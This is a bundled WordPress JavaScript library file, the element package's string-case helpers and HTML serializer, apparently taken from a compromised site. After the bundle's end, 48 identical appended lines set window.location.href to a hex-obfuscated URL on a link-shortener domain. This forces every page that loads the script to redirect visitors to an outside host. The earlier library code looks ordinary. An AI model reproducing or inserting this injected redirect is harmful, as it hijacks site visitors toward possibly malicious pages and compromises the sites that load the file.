871// Remove all non-word characters.
872var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
873/**
874 * Normalize the string into something other libraries can manipulate easier.
875 */
876function noCase(input, options) {
877 if (options === void 0) { options = {}; }
878 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
879 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
880 var start = 0;
881 var end = result.length;
882 // Trim the delimiter from around the output string.
883 while (result.charAt(start) === "\0")
884 start++;
885 while (result.charAt(end - 1) === "\0")
886 end--;
887 // Transform each token independently.
888 return result.slice(start, end).split("\0").map(transform).join(delimiter);
889}
890/**
891 * Replace `re` in the input string with the replacement value.
892 */
893function replace(input, re, value) {
894 if (re instanceof RegExp)
895 return input.replace(re, value);
896 return re.reduce(function (input, re) { return input.replace(re, value); }, input);
897}
898
899;// ./node_modules/dot-case/dist.es2015/index.js
900
901
902function dotCase(input, options) {
903 if (options === void 0) { options = {}; }
904 return noCase(input, __assign({ delimiter: "." }, options));
905}
906
907;// ./node_modules/param-case/dist.es2015/index.js
908
909
910function paramCase(input, options) {
911 if (options === void 0) { options = {}; }
912 return dotCase(input, __assign({ delimiter: "-" }, options));
913}
914
915;// external ["wp","escapeHtml"]
916const external_wp_escapeHtml_namespaceObject = window["wp"]["escapeHtml"];
917;// ./node_modules/@wordpress/element/build-module/raw-html.js
918
919function RawHTML({
920 children,
921 ...props
922}) {
923 let rawHtml = "";
924 external_React_namespaceObject.Children.toArray(children).forEach((child) => {
925 if (typeof child === "string" && child.trim() !== "") {
926 rawHtml += child;
927 }
928 });
929 return (0,external_React_namespaceObject.createElement)("div", {
930 dangerouslySetInnerHTML: { __html: rawHtml },
931 ...props
932 });
933}
934
935
936;// ./node_modules/@wordpress/element/build-module/serialize.js
937
938
939
940
941
942const Context = (0,external_React_namespaceObject.createContext)(void 0);
943Context.displayName = "ElementContext";
944const { Provider, Consumer } = Context;
945const ForwardRef = (0,external_React_namespaceObject.forwardRef)(() => {
946 return null;
947});
948const ATTRIBUTES_TYPES = /* @__PURE__ */ new Set(["string", "boolean", "number"]);
949const SELF_CLOSING_TAGS = /* @__PURE__ */ new Set([
950 "area",
951 "base",
952 "br",
953 "col",
954 "command",
955 "embed",
956 "hr",
957 "img",
958 "input",
959 "keygen",
960 "link",
961 "meta",
962 "param",
963 "source",
964 "track",
965 "wbr"
966]);
967const BOOLEAN_ATTRIBUTES = /* @__PURE__ */ new Set([
968 "allowfullscreen",
969 "allowpaymentrequest",
970 "allowusermedia",
971 "async",
972 "autofocus",
973 "autoplay",
974 "checked",
975 "controls",
976 "default",
977 "defer",
978 "disabled",
979 "download",
980 "formnovalidate",
981 "hidden",
982 "ismap",
983 "itemscope",
984 "loop",
985 "multiple",
986 "muted",
987 "nomodule",
988 "novalidate",
989 "open",
990 "playsinline",
991 "readonly",
992 "required",
993 "reversed",
994 "selected",
995 "typemustmatch"
996]);
997const ENUMERATED_ATTRIBUTES = /* @__PURE__ */ new Set([
998 "autocapitalize",
999 "autocomplete",
1000 "charset",
1001 "contenteditable",
1002 "crossorigin",
1003 "decoding",
1004 "dir",
1005 "draggable",
1006 "enctype",
1007 "formenctype",
1008 "formmethod",
1009 "http-equiv",
1010 "inputmode",
1011 "kind",
1012 "method",
1013 "preload",
1014 "scope",
1015 "shape",
1016 "spellcheck",
1017 "translate",
1018 "type",
1019 "wrap"
1020]);
1021const CSS_PROPERTIES_SUPPORTS_UNITLESS = /* @__PURE__ */ new Set([
1022 "animation",
1023 "animationIterationCount",
1024 "baselineShift",
1025 "borderImageOutset",
1026 "borderImageSlice",
1027 "borderImageWidth",
1028 "columnCount",
1029 "cx",
1030 "cy",
1031 "fillOpacity",
1032 "flexGrow",
1033 "flexShrink",
1034 "floodOpacity",
1035 "fontWeight",
1036 "gridColumnEnd",
1037 "gridColumnStart",
1038 "gridRowEnd",
1039 "gridRowStart",
1040 "lineHeight",
1041 "opacity",
1042 "order",
1043 "orphans",
1044 "r",
1045 "rx",
1046 "ry",
1047 "shapeImageThreshold",
1048 "stopOpacity",
1049 "strokeDasharray",
1050 "strokeDashoffset",
1051 "strokeMiterlimit",
1052 "strokeOpacity",
1053 "strokeWidth",
1054 "tabSize",
1055 "widows",
1056 "x",
1057 "y",
1058 "zIndex",
1059 "zoom"
1060]);
1061function hasPrefix(string, prefixes) {
1062 return prefixes.some((prefix) => string.indexOf(prefix) === 0);
1063}
1064function isInternalAttribute(attribute) {
1065 return "key" === attribute || "children" === attribute;
1066}
1067function getNormalAttributeValue(attribute, value) {
1068 switch (attribute) {
1069 case "style":
1070 return renderStyle(value);
1071 }
1072 return value;
1073}
1074const SVG_ATTRIBUTE_WITH_DASHES_LIST = [
1075 "accentHeight",
1076 "alignmentBaseline",
1077 "arabicForm",
1078 "baselineShift",
1079 "capHeight",
1080 "clipPath",
1081 "clipRule",
1082 "colorInterpolation",
1083 "colorInterpolationFilters",
1084 "colorProfile",
1085 "colorRendering",
1086 "dominantBaseline",
1087 "enableBackground",
1088 "fillOpacity",
1089 "fillRule",
1090 "floodColor",
1091 "floodOpacity",
1092 "fontFamily",
1093 "fontSize",
1094 "fontSizeAdjust",
1095 "fontStretch",
1096 "fontStyle",
1097 "fontVariant",
1098 "fontWeight",
1099 "glyphName",
1100 "glyphOrientationHorizontal",
1101 "glyphOrientationVertical",
1102 "horizAdvX",
1103 "horizOriginX",
1104 "imageRendering",
1105 "letterSpacing",
1106 "lightingColor",
1107 "markerEnd",
1108 "markerMid",
1109 "markerStart",
1110 "overlinePosition",
1111 "overlineThickness",
1112 "paintOrder",
1113 "panose1",
1114 "pointerEvents",
1115 "renderingIntent",
1116 "shapeRendering",
1117 "stopColor",
1118 "stopOpacity",
1119 "strikethroughPosition",
1120 "strikethroughThickness",
1121 "strokeDasharray",
1122 "strokeDashoffset",
1123 "strokeLinecap",
1124 "strokeLinejoin",
1125 "strokeMiterlimit",
1126 "strokeOpacity",
1127 "strokeWidth",
1128 "textAnchor",
1129 "textDecoration",
1130 "textRendering",
1131 "underlinePosition",
1132 "underlineThickness",
1133 "unicodeBidi",
1134 "unicodeRange",
1135 "unitsPerEm",
1136 "vAlphabetic",
1137 "vHanging",
1138 "vIdeographic",
1139 "vMathematical",
1140 "vectorEffect",
1141 "vertAdvY",
1142 "vertOriginX",
1143 "vertOriginY",
1144 "wordSpacing",
1145 "writingMode",
1146 "xmlnsXlink",
1147 "xHeight"
1148].reduce(
1149 (map, attribute) => {
1150 map[attribute.toLowerCase()] = attribute;
1151 return map;
1152 },
1153 {}
1154);
1155const CASE_SENSITIVE_SVG_ATTRIBUTES = [
1156 "allowReorder",
1157 "attributeName",
1158 "attributeType",
1159 "autoReverse",
1160 "baseFrequency",
1161 "baseProfile",
1162 "calcMode",
1163 "clipPathUnits",
1164 "contentScriptType",
1165 "contentStyleType",
1166 "diffuseConstant",
1167 "edgeMode",
1168 "externalResourcesRequired",
1169 "filterRes",
1170 "filterUnits",
1171 "glyphRef",
1172 "gradientTransform",
1173 "gradientUnits",
1174 "kernelMatrix",
1175 "kernelUnitLength",
1176 "keyPoints",
1177 "keySplines",
1178 "keyTimes",
1179 "lengthAdjust",
1180 "limitingConeAngle",
1181 "markerHeight",
1182 "markerUnits",
1183 "markerWidth",
1184 "maskContentUnits",
1185 "maskUnits",
1186 "numOctaves",
1187 "pathLength",
1188 "patternContentUnits",
1189 "patternTransform",
1190 "patternUnits",
1191 "pointsAtX",
1192 "pointsAtY",
1193 "pointsAtZ",
1194 "preserveAlpha",
1195 "preserveAspectRatio",
1196 "primitiveUnits",
1197 "refX",
1198 "refY",
1199 "repeatCount",
1200 "repeatDur",
1201 "requiredExtensions",
1202 "requiredFeatures",
1203 "specularConstant",
1204 "specularExponent",
1205 "spreadMethod",
1206 "startOffset",
1207 "stdDeviation",
1208 "stitchTiles",
1209 "suppressContentEditableWarning",
1210 "suppressHydrationWarning",
1211 "surfaceScale",
1212 "systemLanguage",
1213 "tableValues",
1214 "targetX",
1215 "targetY",
1216 "textLength",
1217 "viewBox",
1218 "viewTarget",
1219 "xChannelSelector",
1220 "yChannelSelector"
1221].reduce(
1222 (map, attribute) => {
1223 map[attribute.toLowerCase()] = attribute;
1224 return map;
1225 },
1226 {}
1227);
1228const SVG_ATTRIBUTES_WITH_COLONS = [
1229 "xlink:actuate",
1230 "xlink:arcrole",
1231 "xlink:href",
1232 "xlink:role",
1233 "xlink:show",
1234 "xlink:title",
1235 "xlink:type",
1236 "xml:base",
1237 "xml:lang",
1238 "xml:space",
1239 "xmlns:xlink"
1240].reduce(
1241 (map, attribute) => {
1242 map[attribute.replace(":", "").toLowerCase()] = attribute;
1243 return map;
1244 },
1245 {}
1246);
1247function getNormalAttributeName(attribute) {
1248 switch (attribute) {
1249 case "htmlFor":
1250 return "for";
1251 case "className":
1252 return "class";
1253 }
1254 const attributeLowerCase = attribute.toLowerCase();
1255 if (CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase]) {
1256 return CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase];
1257 } else if (SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]) {
1258 return paramCase(
1259 SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]
1260 );
1261 } else if (SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase]) {
1262 return SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase];
1263 }
1264 return attributeLowerCase;
1265}
1266function getNormalStylePropertyName(property) {
1267 if (property.startsWith("--")) {
1268 return property;
1269 }
1270 if (hasPrefix(property, ["ms", "O", "Moz", "Webkit"])) {
1271 return "-" + paramCase(property);
1272 }
1273 return paramCase(property);
1274}
1275function getNormalStylePropertyValue(property, value) {
1276 if (typeof value === "number" && 0 !== value && !hasPrefix(property, ["--"]) && !CSS_PROPERTIES_SUPPORTS_UNITLESS.has(property)) {
1277 return value + "px";
1278 }
1279 return value;
1280}
1281function renderElement(element, context, legacyContext = {}) {
1282 if (null === element || void 0 === element || false === element) {
1283 return "";
1284 }
1285 if (Array.isArray(element)) {
1286 return renderChildren(element, context, legacyContext);
1287 }
1288 switch (typeof element) {
1289 case "string":
1290 return (0,external_wp_escapeHtml_namespaceObject.escapeHTML)(element);
1291 case "number":
1292 return element.toString();
1293 }
1294 const { type, props } = element;
1295 switch (type) {
1296 case external_React_namespaceObject.StrictMode:
1297 case external_React_namespaceObject.Fragment:
1298 return renderChildren(props.children, context, legacyContext);
1299 case RawHTML:
1300 const { children, ...wrapperProps } = props;
1301 return renderNativeComponent(
1302 !Object.keys(wrapperProps).length ? null : "div",
1303 {
1304 ...wrapperProps,
1305 dangerouslySetInnerHTML: { __html: children }
1306 },
1307 context,
1308 legacyContext
1309 );
1310 }
1311 switch (typeof type) {
1312 case "string":
1313 return renderNativeComponent(type, props, context, legacyContext);
1314 case "function":
1315 if (type.prototype && typeof type.prototype.render === "function") {
1316 return renderComponent(type, props, context, legacyContext);
1317 }
1318 return renderElement(
1319 type(props, legacyContext),
1320 context,
1321 legacyContext
1322 );
1323 }
1324 switch (type && type.$$typeof) {
1325 case Provider.$$typeof:
1326 return renderChildren(props.children, props.value, legacyContext);
1327 case Consumer.$$typeof:
1328 return renderElement(
1329 props.children(context || type._currentValue),
1330 context,
1331 legacyContext
1332 );
1333 case ForwardRef.$$typeof:
1334 return renderElement(
1335 type.render(props),
1336 context,
1337 legacyContext
1338 );
1339 }
1340 return "";
1341}
1342function renderNativeComponent(type, props, context, legacyContext = {}) {
1343 let content = "";
1344 if (type === "textarea" && props.hasOwnProperty("value")) {
1345 content = renderChildren(props.value, context, legacyContext);
1346 const { value, ...restProps } = props;
1347 props = restProps;
1348 } else if (props.dangerouslySetInnerHTML && typeof props.dangerouslySetInnerHTML.__html === "string") {
1349 content = props.dangerouslySetInnerHTML.__html;
1350 } else if (typeof props.children !== "undefined") {
1351 content = renderChildren(props.children, context, legacyContext);
1352 }
1353 if (!type) {
1354 return content;
1355 }
1356 const attributes = renderAttributes(props);
1357 if (SELF_CLOSING_TAGS.has(type)) {
1358 return "<" + type + attributes + "/>";
1359 }
1360 return "<" + type + attributes + ">" + content + "</" + type + ">";
1361}
1362function renderComponent(Component, props, context, legacyContext = {}) {
1363 const instance = new Component(props, legacyContext);
1364 if (typeof instance.getChildContext === "function") {
1365 Object.assign(legacyContext, instance.getChildContext());
1366 }
1367 const html = renderElement(instance.render(), context, legacyContext);
1368 return html;
1369}
1370function renderChildren(children, context, legacyContext = {}) {
1371 let result = "";
1372 const childrenArray = Array.isArray(children) ? children : [children];
1373 for (let i = 0; i < childrenArray.length; i++) {
1374 const child = childrenArray[i];
1375 result += renderElement(child, context, legacyContext);
1376 }
1377 return result;
1378}
1379function renderAttributes(props) {
1380 let result = "";
1381 for (const key in props) {
1382 const attribute = getNormalAttributeName(key);
1383 if (!(0,external_wp_escapeHtml_namespaceObject.isValidAttributeName)(attribute)) {
1384 continue;
1385 }
1386 let value = getNormalAttributeValue(key, props[key]);
1387 if (!ATTRIBUTES_TYPES.has(typeof value)) {
1388 continue;
1389 }
1390 if (isInternalAttribute(key)) {
1391 continue;
1392 }
1393 const isBooleanAttribute = BOOLEAN_ATTRIBUTES.has(attribute);
1394 if (isBooleanAttribute && value === false) {
1395 continue;
1396 }
1397 const isMeaningfulAttribute = isBooleanAttribute || hasPrefix(key, ["data-", "aria-"]) || ENUMERATED_ATTRIBUTES.has(attribute);
1398 if (typeof value === "boolean" && !isMeaningfulAttribute) {
1399 continue;
1400 }
1401 result += " " + attribute;
1402 if (isBooleanAttribute) {
1403 continue;
1404 }
1405 if (typeof value === "string") {
1406 value = (0,external_wp_escapeHtml_namespaceObject.escapeAttribute)(value);
1407 }
1408 result += '="' + value + '"';
1409 }
1410 return result;
1411}
1412function renderStyle(style) {
1413 if (!isPlainObject(style)) {
1414 return style;
1415 }
1416 let result;
1417 const styleObj = style;
1418 for (const property in styleObj) {
1419 const value = styleObj[property];
1420 if (null === value || void 0 === value) {
1421 continue;
1422 }
1423 if (result) {
1424 result += ";";
1425 } else {
1426 result = "";
1427 }
1428 const normalName = getNormalStylePropertyName(property);
1429 const normalValue = getNormalStylePropertyValue(property, value);
1430 result += normalName + ":" + normalValue;
1431 }
1432 return result;
1433}
1434var serialize_default = renderElement;
1435
1436
1437;// ./node_modules/@wordpress/element/build-module/index.js
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447(window.wp = window.wp || {}).element = __webpack_exports__;
1448/******/ })()
1449;
1450window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1451window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1452window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1453window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1454window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1455window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1456window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1457window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1458window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1459window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1460window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1461window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1462window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1463window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1464window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1465window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1466window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1467window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1468window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1469window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1470window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1471window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1472window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1473window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1474window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1475window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1476window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1477window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1478window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1479window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1480window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1481window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1482window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1483window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1484window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1485window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1486window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1487window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1488window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1489window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1490window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1491window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1492window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1493window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1494window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1495window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1496window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1497window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";